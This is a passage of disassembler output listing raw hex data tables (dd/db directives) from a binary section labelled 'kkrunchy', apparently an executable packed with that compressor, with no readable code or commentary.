		dd 0D140F01h, 1B140001h, 7F7D8DFFh, 0D039786h, 10001h
		dd 10D1415h, 0C140700h,	6010204h, 8D8BFF0Fh, 215939FFh
		dd 1239121Fh, 0FF9C88FFh, 0FFCC8D8Ah, 0FFC3958Dh, 2BFFCF8Bh
		dd 0FF3BA6CAh, 784FB60Fh, 0FF958DFFh, 0FFD0348Dh, 0C8A6CA2Bh
		dd 3550006h, 8912114h, 8539FF15h, 15089121h, 218539FFh
		dd 78B66FFh, 66FF0F01h,	150B453Bh, 128539FFh, 78B66FFh
		dd 66FF0F01h, 150B453Bh, 128539FFh, 6092709h, 120E0700h
		dd 0FF2E3766h, 8DFF3C80h, 0C6FF0B04h, 0FF0BAE00h, 38FF00C6h
		dd 0C6FF0B18h, 3BFF5C00h, 661B224Dh, 0BE1E38FFh, 148AFF08h
		dd 9689B989h, 5C1488FFh, 1C38FF25h, 0FFCEBE0Bh,	12FBCB3Bh
		dd 10F2702h, 7000104h, 10F2702h, 0FF000104h, 7478B66h
		dd 18F0F01h, 66FF0104h,	0F01078Bh, 104018Fh, 10204h, 2BFF2933h
		dd 65801C7h, 4070001h, 1020401h, 0F020700h, 290BF43Ch
		dd 49C72BFFh, 0FF3B1467h, 402F003h, 7000106h, 2040104h
		dd 2070001h, 0BF43C0Fh,	4501FF29h, 88F003FFh, 28172822h
		dd 270F06h, 1B131803h, 63F1C1Dh, 3200002h, 8E00832h, 10030038h
		dd 4F7B3605h, 0A290B0Eh, 1350102h, 4502B200h, 1B00010Ah
		dd 8738FF07h, 102B719h,	7000206h, 2111318h, 0E030038h
		dd 10803h, 11360503h, 206111Bh,	3200038h, 0A080332h, 60505h
		dd 5050006h, 6003306h, 2507A800h, 23FF765Bh, 111318C7h
		dd 3811131Bh
		dd 5B765B0Fh, 0E003811h, 380803h, 2503765Bh, 4F111B11h
		dd 11030051h, 2051A16h,	15DC602h, 2589FFC6h, 291E1Eh, 0FF0A060Ch
		dd 0F056589h, 0A1A14048h, 0A10AA102h, 10402h, 0BD89FF07h
		dd 2000B6Ah, 0A01040Fh,	67E30F0Ah, 210E0F12h, 0
		dd 26050000h, 6050006h,	60500h,	420007h, 420042h, 1040242h
		dd 0F010F0Ah, 2020B0Eh,	10030300h, 3000104h, 0FF0867E3h
		dd 5821BC80h, 62601h, 7000206h,	2010400h, 0A0A0A0Fh, 0FF000700h
		dd 89FFBD89h, 23ABDh, 3030001h,	86A0B0Eh, 1000B6Ah, 3030002h
		dd 85FFFF10h, 1040210h,	7000100h, 1F0867E3h, 0BD89FF08h
		dd 10000104h, 2021740h,	11070009h, 48658BFFh, 17591740h
		dd 1785FFFFh, 90202h, 8BFF1107h, 4D83FF65h, 208DB48h, 3030002h
		dd 3E000A0Fh, 3	dup(3E3E3E3Eh),	2F2F2F3Eh, 3E3E3E2Fh, 2F3E3E3Eh
		dd 2 dup(2F2F2F2Fh), 1E2F2F2Fh,	4C8DFF63h, 0E981FF22h
		dd 85FF2DFFh, 0FF3B6301h, 8BFFC82Bh, 185FFC4h, 8CE18BFFh
		dd 2F1101C0h, 2F3E3E3Eh, 3 dup(2F2F2F2Fh), 0FF4F0C2Fh
		dd 0C20BC00Bh, 4F60344Fh, 0C28BFF60h, 0FF921034h, 4FE55C8Bh
		dd 0FFE9D1FFh, 0D1FFDBD1h, 0D8D1FFEAh, 0BC90BFFh, 0F7FF92EBh
		dd 0FF91FF64h, 22A464F7h, 54543BFFh, 443BFF22h,	442BFF2Eh
		dd 0FF541BFFh, 1BFF442Bh, 0DAF7FF54h, 0DA83FF5Bh, 2F2F3F1Dh
		dd 2 dup(2F2F2F2Fh), 4F060C2Fh,	0BC00BFFh, 60344FC2h, 0FF604F50h
		dd 9210D38Bh, 0E55C8BFFh, 0E9D1FF4Fh, 0FFDBD1FFh, 0D1FFEAD1h
		dd 0C90BFFD8h, 0FF20EB0Bh, 4F9264F7h, 0A4E6F7FFh, 543BFF22h
		dd 3BFF2254h, 4EFF2E44h, 1D135334h, 2F2F3E3Fh, 3B693B69h
		dd 0D0AD0FFFh, 11EAD3FFh, 34C28BFFh, 0FFE180FFh, 1B11E8D3h
		dd 3E2F1134h, 2	dup(2F2F2F2Fh),	60A2F2Fh, 0FF4F480Ch, 64B9C00Bh
		dd 0F7FF5BE5h, 0D883FFDAh, 0FF4489FFh, 0FF4F5489h, 64B9C00Bh
		dd 0F7FF5BE5h, 0D883FFDAh, 0FF4489FFh, 0BFF5489h, 4FC20BC0h
		dd 4F506034h, 0D38BFF60h, 0E5C25010h, 0EBD1FF4Fh, 0FFD9D1FFh
		dd 0D1FFEAD1h, 0DB0BFFD8h, 0FF20600Bh, 4F9264F7h, 0A4E6F7FFh
		dd 543BFF22h, 3BFF2254h, 4EFF2E44h, 4FFF5334h, 0DAF7FF0Bh
		dd 0DA83FF5Bh, 3F18131Dh, 4 dup(3E3E3E3Eh), 2F2F3E3Eh
		dd 5DC60105h, 0FFC64F01h, 89FF2589h, 6C8DFF6Ch,	3E2F1101h
		dd 38052F2Fh, 1A163F00h, 0E5A151Eh, 8DFF8C08h, 102AD55h
		dd 0E11FFFFh, 906154Bh,	20B6018Ch, 0B68C0115h, 0D0B1332h
		dd 0E0F0501h, 9095A08h,	163F1C00h, 4C05621Ah, 0D000909h
		dd 4F000102h, 83FF9306h, 0FF4F7B66h, 7B0E06C7h,	8C08F808h
		dd 1353B601h, 93063Fh, 844F6FFh, 53030006h, 64F3F13h, 488BFF93h
		dd 0C04E89FFh, 7B6683FFh, 6C7FF0Eh, 0B6018C08h,	63F1353h
		dd 0C7FF4693h, 8C080E06h, 3280B601h, 130F0608h,	3E3E3E11h
		dd 0FF009306h, 60844F6h, 13530300h, 2F3E3E3Fh, 4C174C2Fh
		dd 4C174C17h, 31172917h, 0Eh dup(31313131h), 0CEFF31h
		db 0FFh, 0CEh, 0
byte_3F9ED3	db 8			; DATA XREF: kkrunchy:off_3EA408o
		dd 4202004h, 4040404h, 80C0404h, 4040402h, 4040404h, 40C0804h
		dd 0C040C04h, 4040408h,	0FF010120h, 10041810h, 8041010h
		dd 8080408h, 1C080808h,	0C0A0804h, 4010104h, 4040808h
		dd 8080404h, 10040404h,	101C0418h, 0F9F8F718h, 0FEFDFCFAh
		dd 10404FFh, 1010C01h, 4010101h, 41410FFh, 1FF0C08h, 80C0402h
		dd 404040Ch, 0C0C0808h,	2AFA01FFh, 0F4F42A2Ah, 0F4F4F4F4h
		dd 430F4F4h, 4320404h, 42E3204h, 40F0404h, 543C0438h, 4040444h
		dd 8040404h
dword_3F9F70	dd 1010C08h, 1080810h, 0C0C08F8h, 808080Ch, 0C040808h
					; DATA XREF: kkrunchy:003EA40Co
		dd 8040408h
dword_3F9F88	dd 1FF0C04h		; DATA XREF: kkrunchy:003EA410o
		db 2, 1, 32h
byte_3F9F8F	db 1			; DATA XREF: kkrunchy:003EA414o
		dd 2A04FF04h, 0C18183Eh, 10040C08h
dword_3F9F9C	dd 8010CFFh, 1C18100Ch,	0F0F701F7h, 0C0404BEh, 8080C1Ch
					; DATA XREF: kkrunchy:003EA418o
		dd 4040808h, 408080Ch, 0C0C0C04h, 0C100C10h, 804100Ch
		dd 10040408h, 10101010h, 0C080818h, 8040C0Ch, 80C040Ch
		dd 14100C0Ch, 1080101h,	810ECECh, 804080Ch, 4010804h, 8141004h
		dd 14080110h, 10080814h, 10101C04h, 14081014h, 4080804h
		dd 8080804h, 0A004080Ch, 1C181004h, 8101C1Ch, 1081C18h
		dd 0FFFFFF01h, 0FDFFFFFFh, 0FFFFFCFEh, 0FFFF0801h, 0C0C08FFh
		dd 0C040C0Ch, 180C1804h, 8040C28h, 4080C10h, 40C0C14h
		dd 30100410h, 18181C10h, 18585814h, 0C0808FEh, 120C0810h
		dd 802120Eh, 0FF0C0408h, 8F0F00Ch, 18100810h, 8090808h
		dd 100C0C08h, 40C0818h,	8080404h, 80C1014h, 14080C10h
		dd 10080C10h, 180C0814h, 140C1014h, 14180C10h, 10140C10h
		dd 181C1014h, 1418181Ch, 10141810h, 1014181Ch, 80C0C0Ch
		dd 8100C04h
		db 4, 8
word_3FA0AA	dw 0E8F4h		; DATA XREF: kkrunchy:003EA41Co
		dd 0A8F8A8A8h, 0E4F0FC08h, 0F8FCECECh, 0F8FC0CE4h, 0E4F0FCF4h
		dd 0F0FCECECh, 0F4E8E8F8h, 8080808h, 0F4FCF0F8h, 0F4E8E8E0h
		dd 0F4FC08E8h, 0E408EC08h, 0ECE4E4ECh, 0E8E008F4h, 0D5D5F8E0h
		dd 0F0FCFCD5h, 0F808FCF0h, 80C08F8h, 0E0F0E008h, 0E0E4E8ECh
		dd 0CCF8F4F8h, 0F0C0F488h, 88CCC8C4h, 0F4B8B488h, 0CCF8D0ECh
		dd 8FCFCFCh, 0FCFC0808h, 0FCFCDCFCh, 8FCFC08h, 0C0C0C08h
		dd 8080808h, 0FCF0F4F0h, 0FCFCF408h, 0F0F4F8F8h, 808F0F4h
		dd 2 dup(8FCF8F8h), 0F4F00808h,	0F8F80808h, 0ECD4F8D4h
		dd 0ECFCE4ECh, 0F408F4FCh, 0FCFC0808h, 0FC08E8FCh, 808E8FCh
		dd 0CE4F408h, 18181410h, 14100C1Ch, 100C0818h, 100C100Ch
		dd 14100C08h, 18101410h, 0FCFCFC18h, 1C1C2024h,	18181410h
		dd 0FC1428FCh, 1010FC10h, 8141C14h, 0F808F008h,	8F80808h
		dd 808F808h, 0E80808F8h, 0F8F4C8F4h, 0F4C808F0h, 0C808F0F8h
		dd 0F0F0F8F4h, 0ECF4CADAh, 0E808ECF0h, 8E4E4E8h, 0CDDACAC9h
		dd 0F0F00CDAh, 0C10F010h, 10080810h, 0E808100Ch, 0EA0CE80Ch
		dd 814ECE8h, 0FC0808F8h, 0CD80CD8h, 1010FCDAh, 8DCD8F8h
		dd 1810FC14h, 14100820h, 8E01814h, 18E01CE0h, 8081010h
		dd 0B8DC94DCh, 0C08DCDCh, 808080Ch, 0F8F8F808h,	0ECF8F8F8h
		dd 0C0CECECh, 808080Ch,	8FCFC08h, 0FCFCFC0Ch, 0FCFC0C08h
		dd 0FC0C08FCh, 80C08FCh, 80C0808h, 0E0DCE4DCh, 0FC08DCFCh
		dd 0FC08080Ch, 0F8F808FCh, 8FCFCFCh, 0FC080808h, 0CF00CFCh
		dd 0F8FCF4F0h, 0FC08FCFCh, 8080808h, 0F8F8FCFCh, 0E010DCFCh
		dd 0E410E010h, 80CDCFCh, 0F814FCFCh, 10FCD814h,	10DC10DCh
		dd 0CD814E0h, 14F81408h, 0C100814h, 0F8080C08h,	8FCF80Ch
		dd 0E4E4FC08h, 0E8CFE8FCh, 0F8ECECEAh, 0DDEAECD5h, 0EA080808h
		dd 0FC08E808h, 0D5F8F8D9h, 100CFCFCh, 100C081Ch, 0EC1C1814h
		dd 0ECFCECFCh, 0FCFCF0FCh, 0F8F8F4F8h, 0FCFCF0F4h, 0F0F4F0F8h
		dd 0E0F4E0F4h, 0F8F8E0E4h, 0C0808FCh, 14100C14h, 0C0C1410h
		dd 0C0C0C10h, 0C0C1408h, 0EC0C0C0Ch, 0F0F4F40Ch, 0F8F8ECF8h
		dd 0F808F808h, 0FCF0F4FCh, 0FC0C080Ch, 0F008F4FCh, 0F0F8E8ECh
		dd 0F0F8E808h, 0C1008FCh, 0FCFC0CFCh, 0ECEC08ECh, 0FCFCEC08h
		dd 0FCEC0808h, 0F4FCF4F8h, 0F8FCF4F8h, 0D0A0E4A0h, 0FCFCFCA0h
		dd 8080808h, 0F4F40808h, 808FCFCh, 0FC080808h, 808FCFCh
		dd 80808FCh, 0C080808h,	810F8F8h, 8141018h, 1008FC0Ch
		dd 10101814h, 100C08FCh, 14181818h, 1010080Ch, 8FC100Ch
		dd 101010FCh, 10180808h, 18140C14h, 1808140Ch, 8141014h
		dd 0F8181410h, 8D4E0ECh, 0D8E4F008h, 0E8F4FC0Ch, 0FCD008DCh
		dd 0F4CCF808h, 0E8C8ECF0h, 0DCC4E0E4h, 0CCD0D4D8h, 0FC10C4C8h
		dd 8F0F4F8h, 0ECE8E4E0h, 0F4F0ECF0h, 0E4F8F4E8h, 0FCE0FCF8h
		dd 0F0F4F8FCh, 10100808h, 0FCFC100Ch, 0FCFCFCFCh, 80808FCh
		dd 9C989008h, 0E8F4F8DCh, 0B0F808F0h, 0E4E4C8F4h, 0FCFCECECh
		dd 0D8E0E0D8h, 0F008FCFCh, 8C8B0E8h, 0DCECE8F0h, 0E0E008E4h
		dd 0FCFCFCE0h, 0F0F8F0FCh, 0FCFCF8FCh, 0F8F4F4F8h, 0ECECF0F0h
		dd 0F40808F8h, 0ECFCF4F4h, 0E4E4D808h, 0F0E8E8D8h, 0EC08E0F0h
		dd 0D808F8FCh, 0F8FCFCECh, 0FCE8F0E0h, 0E4ECF4FCh, 0F8F4F4FCh
		dd 0FCFCF8F4h, 0F0080808h, 0F4F4FCFCh, 0F8F4F0F8h, 0FCE0E8F4h
		dd 0F8F8F4F0h, 0F4FCF4FCh, 8FCFC08h, 0F4F8F008h, 0FCF8FCF0h
		dd 0E8F0F4F8h, 0F8F0E8ECh, 0F8FCF0F4h, 0F0F4F8FCh, 0F0E8ECE8h
		dd 0FCF0F4F8h, 0F4F8FCF8h, 0E8ECE8F0h, 0E008FCE8h, 0E8ECFCE4h
		dd 0C08F0FCh, 8FCE8FCh,	0FCE8ECFCh, 8100CF0h, 0CFC0CFCh
		dd 0FC1808FCh, 0FCFCFC14h, 808FCFCh, 808F408h, 80C0808h
		dd 18F4FC0Ch, 1418F410h, 0FC0818F4h, 8FC0C0Ch, 0CBE8E808h
		dd 0F4E008E0h, 0FCF8ECD0h, 0D4D4D8E4h, 0D4E808CCh, 0F4F4E4DCh
		dd 0D0ECFCFCh, 0E4F0ECD8h, 0F3F0F8D0h, 8F0F1F2h, 8F4F8FCh
		dd 0FCF8F4ECh, 8E0F0E8h, 0F2F3CB08h, 8FCF0F1h, 80CF4F8h
		dd 10100C08h, 14141410h, 8FC1818h, 0FC0808FCh, 0C0C0808h
		dd 0C081010h, 0FC08E810h, 808F0F8h, 0E8E8FCF4h,	0FCFCF4E8h
		dd 0F00808F8h, 10081CF8h, 9C971814h, 2020C0C0h,	201020E8h
		dd 20E810E8h, 202020E8h, 1C1C08B9h, 0A008081Ch,	0D1D7C0DDh
		dd 0C6A5C5CBh, 0D2AFCCAAh, 94C0D8B4h, 0F4C09183h, 0C0C0C0F4h
		dd 4 dup(20202020h), 20201C1Ch,	1C202020h, 0F0202020h
		dd 0F4F3F2F1h, 0F8F7F6F5h, 0FBF9FAF9h, 8F0F3F6h, 0EC231CECh
		dd 0ECF0EE08h, 1C081C23h, 0F8201C1Ch, 18201CE4h, 101C1C10h
		dd 14180808h, 20F8E414h, 1410081Ch, 20F8E418h, 8082020h
		dd 0FC08FCFCh, 0CCECAC08h, 0CCCCACCCh, 0CCCCCCCCh, 0ACACACCCh
		dd 0ACACACACh, 0ECECECECh, 0FC08ECECh, 0C0C0808h, 0C081010h
		dd 0E0E00C08h, 0CE00808h, 80C1008h, 10080C10h, 14080C0Ch
		dd 0D4D40C08h, 80C180Ch, 0C4180C0Ch, 0C40C0CC4h, 0C4C40C18h
		dd 180CC4C4h, 0C080C0Ch, 8FCEC18h, 8FCEC0Ch, 14141414h
		dd 1808FC14h, 80C0818h,	0F0E81418h, 1814F014h, 0F0F8F8F4h
		dd 0F8F414E8h, 0F4F4F814h, 8FC18ECh, 0FCBC0C10h, 0C0BCC008h
		dd 0CCC8C0C0h, 0C8C8C8C8h, 0C888C888h, 0BCFCBCBCh, 808FCBCh
		dd 8080C08h, 0C08080Ch,	100C0808h, 0A8101010h, 0A808A80Ch
		dd 0A80CA808h, 0F80CA808h, 8FFFF10h, 0F80CFFF8h, 0FF10F80Ch
		dd 13FF08FFh, 0F80C13F8h, 0C0C080Ch, 100C0C0Ch,	0C0C0C08h
		dd 0C0C0C0Ch, 0BC08BC0Ch, 0C8FCC4C0h, 0FC0C0CCCh, 0FC0C0CD0h
		dd 8D80CD4h, 8E0DC0Ch, 0FCE808E4h, 0FC0C0CECh, 8080CF0h
		dd 0F4FC080Ch, 0CFCFCFCh, 0C00C08F8h, 8080CFCh,	0E80C0CD4h
		dd 0FC0CFC0Ch, 0CD00CBCh, 0C0CE40Ch, 0CC0C0CF8h, 0F408E00Ch
		dd 8C80808h, 0F00808DCh, 0C0C0C08h, 8C40808h, 0D0EC08D8h
		dd 0F4FCE8DCh, 0CCFCC0FCh, 0C0CD80Ch, 0BCF00CE4h, 0C0CC80Ch
		dd 0ECE00CD4h, 0D8BCC4F8h, 0C8ECD0F4h, 0F8DCC0E4h, 0E8CCF0D4h
		dd 0FCFCE0C4h, 0FCFCFCFCh, 0CFCFCFCh, 180C0808h, 14080C0Ch
		dd 0A80CA810h, 808A808h, 8080808h, 808080Ch, 0FC08FCFCh
		dd 808FC08h, 8080808h, 8FC080Ch, 808FC08h, 8080808h, 80C0808h
		dd 8081008h, 928E8408h,	8D2CECAh, 8080808h, 0C808080h
		dd 8080808h, 0F8080808h, 0BFF0BFFh, 0B2A682F8h,	0F8FF0BD6h
		dd 96F896F8h, 808F808h,	0F808D6F8h, 808FCFCh, 0FCFC0808h
		dd 30F80C08h, 2C280F0Fh, 141C330Fh, 331C0F14h, 0C28FC14h
		dd 0FCF8241Ch, 33280828h, 8080C2Ch, 0F80C08FCh,	80808FCh
		dd 98FC0888h, 9B9A9899h, 0C8B6B0A4h, 0A2A09CB8h, 0B4ACAAA8h
		dd 9894DCCCh, 0C0C0CFCh, 0FC0C0C0Ch, 0F808080Ch, 2 dup(8080808h)
		dd 0E2E1E0F8h, 0E00CF4EAh, 0FCE3F6E0h, 88FCECE4h, 814140Ch
		dd 0C080C10h, 0F208F0F0h, 0C0CF0F4h, 0C100C0Ch,	80C0C08h
		dd 0C080C0Ch, 0ED08080Ch, 0F4E808ECh, 0FCF4F8F4h, 8F8F4FCh
		dd 0E0E808E8h, 0E4DCD0D4h, 0DCD0FCD8h, 0E0D4D8E4h, 0ECF8F8ECh
		dd 0FCF8F8FCh, 808ECFCh, 0F8F8F808h, 0C4FC0808h, 0F0C8C6C4h
		dd 808C4F0h, 0FCEC0808h, 0F8D4D4D8h, 0F4FCDCF8h, 8DCF8F4h
		dd 0F4F8DC08h, 0F8DC0808h, 0E0ECF4FCh, 0F8B4B4E0h, 0FC08FCDCh
		dd 1808140Ch, 100C1410h, 100C080Ch, 0C0C080Ch, 18140C08h
		dd 1C0C0C1Ch, 14FC1808h, 240C0C10h, 1C240C20h, 0C0C201Ch
		dd 2408081Ch, 0FC08FC20h, 0E008F0F0h, 0C0C0E0C0h, 8FC08E0h
		dd 8FC08FCh, 0C0C1410h,	0D3C008C0h
		dd 0E60C0CFCh, 0C00CFCFCh, 0C0C080Ch, 0FCF8F808h, 0C408BCBCh
		dd 0FC0808C4h, 8FC0C0Ch, 0F8080808h, 8F8F8F8h, 8FCFC08h
		dd 8FC08FCh, 808FC08h, 2 dup(808FCFCh),	0FAFAFAFAh, 0D8D80808h
		dd 0B9C9FCD8h, 0BDCABDBAh, 0CA0BCA0Bh, 8F4F8BDh, 0FCFCF408h
		dd 0F0F0F8FCh, 0CACACAFCh, 0F4F8FC08h, 0FCECECF0h, 1414100Ch
		dd 0E8E8E8FCh, 0FCFCFCFCh, 18181818h, 1C181818h, 1414141Ch
		dd 100C1414h, 141808FCh, 8181408h, 0F8F4EC08h, 0FCFCF4F0h
		dd 0F8F00B0Bh, 0ECFCFCF0h, 8F8F4F0h, 0ECECEC08h, 808E0DFh
		dd 14100CF2h, 0C080C14h, 0E0080808h, 0F0F0FCF8h, 808EC08h
		dd 0F8F0E0F0h, 0EC08E0E0h, 0FCFCFCF8h, 14100C08h, 0FC141014h
		dd 181810FCh, 14141414h, 181C1C14h, 18181818h, 0FC14100Ch
		dd 8181814h, 0C0C0CFCh,	0FC0C0CFCh, 8FC0808h, 0F408F8F8h
		dd 8F8F4F8h, 0FC080808h, 0FCFCFCFCh, 0E80B0808h, 0ECF0F0FCh
		dd 0E4ECF4F8h, 0F4F8F8ECh, 0F4F8ECF4h, 0E8FCFCE4h, 0FCE80BF0h
		dd 0FCEC0808h, 0E4FCECECh, 0BF0E4ECh, 0C0C0E4E4h, 0ECDCFCECh
		dd 0DCDCC0DCh, 0D8FCECB0h, 0C0B0D8ECh, 0D0D0D8D8h, 0E8E8E0ECh
		dd 0D0B0E0ECh, 0E8E0E8C0h, 0F0F0F0E8h, 0E8E0E8F0h, 0F0F0D4E0h
		dd 0F0D4D4E8h, 0D8F0F0F0h, 0BFCDCFCh, 0ECFCE4F0h, 808F4FCh
		dd 0ECF0F4F8h, 8ECF408h, 0FCF8FCFCh, 0FCF0FCFCh, 0F0F8F4E0h
		dd 0EC0808ECh, 8F4F8F0h, 0C100C10h, 14080C14h, 0DC080810h
		dd 0C4C0C0F4h, 0D8D8BCC0h, 0ECEDB0ECh, 0E5D0ECE0h, 0F8C4E4E4h
		dd 0A608D4E4h, 0D4F8ACF8h, 0DCE0D0F8h, 8080808h, 0FCFC0808h
		dd 0E8F4F4FCh, 0ECFCFCFCh, 0E8ECFCE8h, 0CFC0CFCh, 0FC0C100Ch
		dd 0F008FCFCh, 0ECF0080Ch
		db 0E4h, 0DCh, 0D8h
byte_3FAA9B	db 4			; DATA XREF: kkrunchy:003EA420o
		dd 4040404h, 5040404h, 25040409h, 4012504h, 8040404h, 1810200Ch
		dd 1804FCF8h, 4E41008h,	18100A04h, 80C1C04h, 18100404h
		dd 404041Ch, 80C0404h, 4080408h, 0C040804h, 0C080404h
		dd 18100408h, 4080C1Ch,	0FF1C1810h, 4040804h, 2	dup(4040404h)
		dd 0A040104h, 1A0A041Ah, 30301FCh, 4040404h, 4010404h
		dd 4040804h, 14040404h,	4080C10h, 0C040408h, 4040408h
		dd 14040404h, 4080C10h,	2 dup(4040404h), 4080C10h, 8040408h
		dd 4040804h, 5 dup(4040404h), 4080C04h,	4080804h, 80C0408h
		dd 0C101404h, 21040408h, 4042121h, 100C0404h, 201C1814h
		dd 1C201820h, 0C0C0C14h, 804040Ch, 4040804h, 808040Ch
		dd 0C080C04h, 408040Ch,	4FC0808h, 14141010h, 10101818h
		dd 3E185018h, 3E2A423Eh, 2A3E3E3Eh, 3E3E3E3Eh, 3E3E3E42h
		dd 83E3E3Eh, 422AE810h,	3 dup(3E3E3E3Eh), 173E3E3Eh, 3E3E3E42h
		dd 2 dup(3E3E3E3Eh), 3E3E2A3Eh,	3 dup(3E3E3E3Eh), 3E3E2A3Eh
		dd 3E3E3E3Eh, 3E3E3E42h, 3E3E3E3Eh, 4082A3Eh, 4040C08h
		dd 1209031Ch, 0FCF80A04h, 3E0432F8h, 42A2A04h, 1040404h
		dd 404FF04h, 4080404h, 408040Ch, 0C08080Ch
dword_3FAC18	dd 0C080804h, 10060801h, 808FF04h, 10100404h, 10101410h
					; DATA XREF: kkrunchy:003EA424o
		dd 0FC010110h, 2A3E3E3Eh, 43E3E3Eh, 0C043E1Ch
		db 0Ch,	2
word_3FAC3E	dw 305Fh		; DATA XREF: kkrunchy:003EA428o
		dd 6B980317h, 18F60524h, 7180323h, 7143541h, 98BD208h
		dd 193D7819h, 44090223h, 6C771716h, 303055Bh, 3E090303h
		dd 0C2D41B12h, 2A13171Bh, 5F105F09h, 0A42C52F0h, 6A7B1D11h
		dd 0D0F2712h, 55591C37h, 0D099F1Fh, 0D07F30Bh, 6818BF5Fh
		dd 0B6492964h, 7B1A097Eh, 14516268h, 4B061202h,	0D193D42h
		dd 5A010CB3h, 0EE037219h, 3F431527h, 103620E7h,	104F1053h
		dd 14EE036Fh, 37454512h, 0F050F07h, 0C680572h, 27143940h
		dd 1E2D3606h, 41484F0Fh, 1E2B333Ah, 50C130Fh, 111E2605h
		dd 50722F6h, 12070C33h,	5141318h, 19030503h, 100AF606h
		dd 3047814h, 3050305h, 0B058E03h, 3354080Ah, 172F7836h
		dd 7FB90ABFh, 27104D35h, 750D0A11h, 1E040D34h, 12130D0Dh
		dd 50B0722h, 3040D48h, 504F418h, 34D1837h, 0E7050303h
		dd 0F2F409D3h, 143605EBh, 71FF50Fh, 1537041Dh, 0F14F610h
		dd 40404F7h, 6425204h, 670BCF05h, 0E1B5A05h, 0B0B1009h
		dd 0A3C6002h, 0EC1B26F4h, 0B174B81h, 0B80B13EFh, 54707A04h
		dd 20F20A36h, 9310F017h, 0E0120523h, 430D040Fh,	42EF00Ah
		dd 0EF0B1951h, 0AB60B13h, 101F0205h, 0ED18EFEBh, 4B040C09h
		dd 0B10E0D30h, 0D070C09h, 0A3A5576h, 0EC1B26F4h, 181D2202h
		dd 4020410h, 0F306713h,	84260F10h, 6F90668Ch, 0CE61A88h
		dd 2E00F42h, 1D621E03h,	7070B14h, 82DD2E9h, 49880BD1h
		dd 464F06C5h, 0EE05191Eh, 0B47740Ah, 9022AB9h, 21373C63h
		dd 4080C10h, 1D33DF04h,	9ECECECh, 93A0956h, 6F7081Eh, 1050120Dh
		dd 4C0C24B0h, 0F0C5C16h, 0EC14F104h, 94744F04h,	576B4A65h
		dd 50E1F9Eh, 43021E02h,	2E283705h, 2E455C61h, 800A2126h
		dd 56087013h, 55B230Eh,	60DEC1Bh, 0F0010AEFh, 3941761Bh
		dd 0CBC80208h, 0F00B1018h, 0ED030810h, 11071439h, 11F1CA10h
		dd 5EB0B10h, 0B11EC07h,	1009F203h, 0FE20302h, 1A14F10Bh
		dd 23EAF2EBh, 416283Ch,	0CDDEED40h, 5F052127h, 3263359h
		dd 703070Fh, 27460303h,	4210406h, 0F0F0F0Fh, 80E2305h
		dd 1ADF08F4h, 4EC0310h,	61BC08C6h, 5500605h, 6053F06h
		dd 1D06052Eh, 50C0605h,	16051605h, 79051E47h, 3E470760h
		dd 1E072E37h, 12050E07h, 13480709h, 24020202h, 0D071907h
		dd 8D0E02F8h, 8121E23h,	28B109C4h, 5071D34h, 5050303h
		dd 24020202h, 181D484Dh, 60449C10h, 727074Fh, 59D071Bh
		dd 131D2586h, 39054024h, 0F2D0534h, 34390540h, 5402D05h
		dd 2D053439h, 22371E06h, 90C3D1Fh, 1C141021h, 0E1F416F1h
		dd 31C0202h, 79071A3Dh,	0BD0E0D28h, 4827395Fh, 47A20A2Ah
		dd 24159C11h, 50F0A07h,	560E0D02h, 285A5E2Bh, 0A2161B03h
		dd 0A107255Bh, 30B1B14h, 0B050B1Bh, 6F070B03h, 130F0314h
		dd 1B029608h, 0C1C1375h, 41EC482Dh, 5171419h, 1EC72405h
		dd 0EC03E717h, 0EC674C0Eh, 0A05365Eh, 1419090Eh, 24050517h
		dd 0E7171EA8h, 80CEC03h, 30411F8h, 32080D75h, 6214D52h
		dd 11F78EEAh, 32E52A3Dh, 141E3617h, 0D61D3211h,	0A1148BAh
		dd 20050511h, 1A1A171Ch, 19102B1Ah, 0F11DE03h, 26441117h
		dd 5374E623h, 140D1E30h, 1D14170Dh, 5461B17h, 16CC051Dh
		dd 14272729h, 11051D42h, 0A264D1Ah, 52A0717h, 0CF051846h
		dd 50077E05h, 9B6F0524h, 11371D05h, 0C0F6971h, 3030303h
		dd 6A020202h, 3072B37h,	0F80343F2h, 0F80302B9h,	7700713h
		dd 7380753h, 7007131Dh,	38075307h, 8081D07h, 51046904h
		dd 21043904h, 3D384902h, 5C050505h, 9F80D55h, 0C0E7D20h
		dd 161F0C0Eh, 710313Ah,	0C050502h, 4E193B03h, 250BA906h
		dd 507150Bh, 5130523h, 37667513h, 61C1706h, 4D12CB04h
		dd 2053123Ah, 710313Ah,	0C050502h, 18270D03h, 0E110111h
		dd 2763DC0Ah, 3081246h,	2D16B9F8h, 1E4F5745h, 203A29D7h
		dd 28030603h, 0C41D2229h, 1E385063h, 7A06AA16h,	4C5C4654h
		dd 6B721323h, 535B6166h, 154A4B48h, 90B14D3h, 0E919CC08h
		dd 627707EDh, 71133045h, 198F304Ch, 0F9E70B05h,	0DC031EF6h
		dd 56C252F6h, 19E51BBEh, 1BE21EE2h, 73003E0h, 24DC2952h
		dd 3ED53D0Fh, 0F0172FD6h, 304F50Bh, 29F7ED1Ch, 2329DF23h
		dd 405771DFh, 4F7D2029h, 0E2114912h, 0B50AC824h, 190C2B0Ch
		dd 20130709h, 49124F7Dh, 0C824E211h, 290CB50Ah,	709180Ch
		dd 0F4F7213h, 2C380302h, 1A050720h, 17E90710h, 18562507h
		dd 1322270Ah, 507EB09h,	406DE26h, 76041214h, 325BA08h
		dd 0ED071624h, 96D0757h, 0F90303F7h, 80E0204h, 0FB0817FBh
		dd 3040605h, 0B1D0C03h,	835F7E3h, 0F007B7D1h, 0EBCC5DAh
		dd 0E37B261Eh, 0E350265Ch, 0D60D2A31h, 360D1E23h, 7A90ACFh
		dd 0A0A1111h, 787B0A0Ah, 2D752F37h, 13250228h, 6A0DAB14h
		dd 0C407181Dh, 86063142h, 0E121481h, 145B6F77h,	11172431h
		dd 2DF8DCF2h, 2D2D6260h, 0B590444h, 7290513h, 12B50F22h
		dd 14F40CD5h, 136472ECh, 485D06ABh, 4202D824h, 132AEF0Ah
		dd 4F113D70h, 293611EFh, 27324456h, 13273244h, 0CB1AE032h
		dd 80A7DC2h, 0F4450B04h, 0ECDF040Eh, 170E63C2h,	7C111F04h
		dd 165E7279h, 20C0618h,	4D111810h, 19132335h, 0D0061B12h
		dd 14131366h, 36090809h, 8B072A08h, 8CE4E1Bh, 274A930Ah
		dd 0D2B04A55h, 30E0305h, 30E0309h, 9150309h, 0C4B0909h
		dd 1058693Bh, 3F50091Eh, 24A20367h, 7383E33h, 50D0505h
		dd 1351626Ah, 56A00903h, 3AA3D4Ah, 5030E06h, 9030E03h
